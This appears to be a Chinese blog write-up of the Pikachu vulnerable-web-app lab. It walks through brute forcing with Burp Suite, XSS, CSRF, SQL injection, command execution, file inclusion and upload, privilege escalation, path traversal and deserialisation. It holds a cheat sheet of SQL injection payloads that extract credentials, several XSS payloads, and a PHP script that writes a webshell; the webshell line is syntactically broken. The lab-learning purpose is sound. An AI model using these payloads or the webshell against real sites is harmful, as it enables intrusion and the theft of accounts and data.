Pikachu靶场总结

暴力破解

知识点

Burpsuite暴力破解的四种方式

Sniper 狙击手

一个参数时使用,按照字典顺序依次爆破

Battering ram 攻城锤

多个参数使用一个字典,每个参数的值都一样

Pitchfork 草耙

多个参数分别使用多个字典,按字典顺序依次同步爆破

Cluster bomb 集束炸弹

多个参数分别使用多个字典,尝试每一种组合

Token绕过

下一次Token可知的情况下才能绕过,从前端找到Token的位置,用Burpsuite的Grep-Extract模块自动取Token值并进行爆破(线程设置为1可以实现Token一次一换)

靶场

PASS-01基于表单的暴力破解

随便填写,抓包,看内容,参数有两个,username和password,发送到Intruder模块进行爆破准备

为变量添加变量标识符,并选择集束炸弹模式,分别导入字典,进行爆破,发现Length异常数据,验证是否为用户名密码

登陆成功

PASS-02 验证码绕过(on server)

正常输入验证码,抓包看看

放到Repeater模块里重放几次,发现并没有提示验证码错误,说明验证码是可以重复使用的,那就把代理设置为拦截状态,然后和PASS01一样爆破就行了

PASS-03 验证码绕过(on client)

将代理设置为拦截状态,前端仍然返回验证码错误,证明是前端校验,尝试禁用JS绕过

禁用JavaScript后验证码模块消失了,并且不再提示验证码错误,这样就可以正常爆破了

PASS-04 Token防爆破?

检查一下Login按钮,发现有一个hidden的input,名称为token,格式也是token的格式,所以怀疑是token发送到client,然后做验证,这里就可以用到Burpsuite的Grep-Extract模块了。

在Intruder的setting中找到Grep-Extract模块,点击Add,使用首位定位确定token值的位置,然后点击OK,并将Redirection设置为Always,到Resouce-pool里面将线程设置为1,表示一次一换,完成上述操作之后,就可以正常爆破啦

Cross-Site Scripting

知识点

XSS分类

反射型xss

后端代码接收用户输入处可以执行JS代码,并且未对用户输入做过滤

存储型xss

后端代码在反射型的基础上多了与数据库的交互,用户输入的数据被写入数据库中,当再次查询时,用户的JS代码就被执行

DOM型xss

与反射型XSS的区别在于,DOM型XSS是前端的问题,而不在后端代码

靶场

PASS-01 反射型XSS(GET)

输入kobe,给出反馈,尝试输入JS代码,但发现输入框有长度限制,可以检查输入框更改长度限制,也可以直接在URL拼接JS语句

成功执行

PASS-02 反射型XSS(POST)

这次触发Submit元素之后发现URL中没有参数和值的出现,说明不是GET类型传递,那就抓包看看有没有POST数据

在POST数据里写JS代码即可

PASS-03 存储型XSS

直接写payload

弹窗,再写入一条新的payload

刷新页面发现两个弹窗都弹出来了,说明是写进数据库了

PASS-04 DOM型XSS

检查一下前端代码,发现是个a元素,用户输入约束在href内,那就使用“和>闭合属性和标签,用onclick属性构造攻击,最后payload为#' οnclick=alert("xss")>,这样最终的语句就是<a href="#" οnclick=alert(1)>">what do you see?</a>

PASS-05 DOM型XSS-x

PASS-06 XSS盲打

先写payload,再登陆后台看看

管理员登陆后加载我们写入的payload,成功弹窗,这里配合xss平台可以实现cookie盗取

PASS-07 XSS过滤

多次测试可以知道,是< 和 script同时出现是匹配过滤,那就考虑将script变异

PASS-08 xss之htmlspecialchars

html实体编码是将符号转换为一种特殊编码,达到过滤的效果

从测试输入中可以知道‘没有被转义,所以使用’来闭合语句

PASS-09 xss之href输出

href可以执行javascript代码

PASS-10 xss之js输出

输入被动态的加载到了script标签中,那就先闭合这个script标签

CSRF

知识点

CSRF是指网站在用户进行操作的时候没有做验证和防范,导致某些操作可以无视用户直接通过URL进行通用执行。

靶场

PASS-01 CSRF(GET)

攻击者账号为vince,受害者账号为allen

更改vince的用户信息,抓包

可以看到没有对操作进行校验

直接提出来URL让allen访问,然后查看allen的用户信息

可以看到allen的账号信息也在访问URL后被更改了

PASS-02 CSRF(POST)

利用Burpsuite的CSRF插件构造攻击网页,诱导受害者点击,实际情况中可以做一个前端界面,伪装一下,这就涉及到钓鱼了

受害者在点击了按钮后用户信息就会被更改了

PASS-03 CSRF(TOKEN)

这关让我意识到Token确实是防止CSRF的好方法,但是网上好像有人的思路是:从前端获取到token,但是实战中我觉得很难实现

SQL注入

知识点

SQL注入的分类

SQL注入主要分为数字型和字符型两大类,但也有搜索型,编码型,GET型,POST型等等都是从不同角度来说了,纠结概念没有太大意义,只需要明白SQL注入的原理:计算机接收用户输入,并把输入数据当作SQL查询语句来运行,并给出输出,就可以了。其中从不同的技术角度还衍生出盲注,二次注入,头部注入,堆叠注入等等,分类标准不一,没有参考意义。

SQL注入常用的测试payload

探测注入点:

id=1'

id=1"

id=1 and 1=1

id=1 and 1=2

手工注入前戏:

id=1 order by n

id=1 union select 1,user(),...,database(),n

mysql 手工普通注入:

id=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

id=1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=xxx

id=1' union select 1,group_concat(username,'~',password),3 from xxx.xxx

报错注入:

username=aaaa' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and'&password=123123&sex=&phonenum=&email=&add=&submit=submit

报错注入爆表:

username= ' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '&password=123123&sex=&phonenum=&email=&add=&submit=submit

报错注入爆列:

username= ' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),30,31),0x7e),1) or '& '&password=123123&sex=&phonenum=&email=&add=&submit=submit

报错注入爆内容:

username= ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),1,31),0x7e),1)or '&password=123123&sex=&phonenum=&email=&add=&submit=submit

靶场

PASS-01 数字型注入(POST)

加单引号报错说明存在注入点,尝试and 1=1,and 1=2判定注入点,常规order by ,union select步骤,可以弄出来库

PASS-02 字符型注入(GET)

这个和上一关差不多,直接用sqlmap跑了

 跑库名

跑表名

跑列名

跑数据

PASS-03 搜索型注入

随便输一输符号,得到报错信息,得知有个%,加上在测

得知列数是3

接下来就是常规操作了

PASS-04 x型注入

和上面一样

PASS-05 insert/update注入

考点是报错注入,参考大佬文章~

https://blog.csdn.net/m0_46103905/article/details/132382657

Insert/update/delete型注入利用的是函数报错获取信息,不同于之前的union联合查询,这三种是操作,不是查询。
1 and updatexml(1,concat(0x7e,database(),0x7e),1)

PASS-06 delete注入

依旧是报错注入

常用报错注入Payload

1. updatexml报错
and updatexml(1,concat(0x7e,(select user()),0x7e),1)

http://192.168.88.130/security/read.php?id=1 and 
updatexml(1,concat(0x7e,(select group_concat(table_name) from 
information_schema.tables where table_schema='learn'),0x7e),1)

2. Extractvalue报错
and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables linit 1),0x7e));

3. floor报错
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from 
information_schema.tables group by x)a);

http://192.168.88.130/security/read.php?id=1 and 
(select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from 
information_schema.tables group by x)a);

PASS-07 头部注入

和常规注入一个样,只不过位置变成了UserAgent

payload如下:

'or updatexml(0x7e,concat(0x7e,version()),0x7e) or '

PASS-08 布尔盲注

payload

and length(database())>=7#

PASS-09 时间盲注

payload

RCE

知识点

管道符

||        前面的执行和后面的执行异步,只有一个被执行,即前面执行不成功的情况下才执行后面的

&&        前面和后面执行结果同步,要么都执行,要么都不执行

|        两个都无条件执行

&        两个都无条件执行

命令执行

命令执行:执行系统命令

代码执行:执行代码语句或者函数

system(“”):直接执行操作系统命令,例如system(“ipconfig”)

区别:

exec 执行命令 ping.....
eval()执行函数 phpinfo();

靶场

PASS-01 exec "ping"

代码中调用系统命令执行ping命令,由于没有做过滤,所以可以管道符拼接命令

PASS-02 exec"eval"

输入phpinfo();,被接收执行

文件包含

知识点

包含即执行

本地包含

        有文件

                配合文件上传打组合拳

        无文件

                session

                伪协议

                日志文件

   远程包含

        构造远程URL

靶场

PASS-01本地文件包含

观察URL变化规律

包含file6.txt实现执行

PASS-02 远程文件包含

先写一个利用脚本

<?php

$myfile = fopen("test.php","w");

$txt = '<?php system($_GET[x];)?>';

fwrite($myfile,$txt);

fclose($myfile);

?>

这个脚本的作用是在文件系统中创建一个php文件

然后在远程包含漏洞点访问这个文件,就可以实现写马子了

文件创建成功

后面就可以通过Webshell工具连接了,但是我连接不上,不知道哪里出了问题,但是步骤是这样的没错

文件下载

可以直接下载服务器文件

文件上传

知识点

如图

靶场

PASS-01 客户端check

前端验证,禁用JS即可上传成功,或者先将后缀改为jpg,然后再Burp拦截再改为php

PASS-02 MIME

更改MIME类型为image/jpg即可

PASS-03 getimagesize()

生成一下图片马

上传图片马,然后可以结合文件包含漏洞来使用

越权

靶场

PASS-01 水平越权

抓lucy的包,改为lili,就可以看lili的个人信息了

PASS-02垂直越权

我感觉这关不像垂直越权,像未授权访问或者CSRF更合适,因为是直接通过URL执行操作的

目录穿越

title文件可控,导致可以使用../../../进行目录穿越

敏感信息泄露

前端泄露测试账号

反序列化

序列化字串里构造JS弹窗

O:1:"S":1:{s:4:"test";s:7:"pikachu";}

O:1:"S":1:{s:4:"test";s:30:"<script>alert('wuhu')</script>";}

XXE

payload

emo了,先不写了

 

  • 17
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值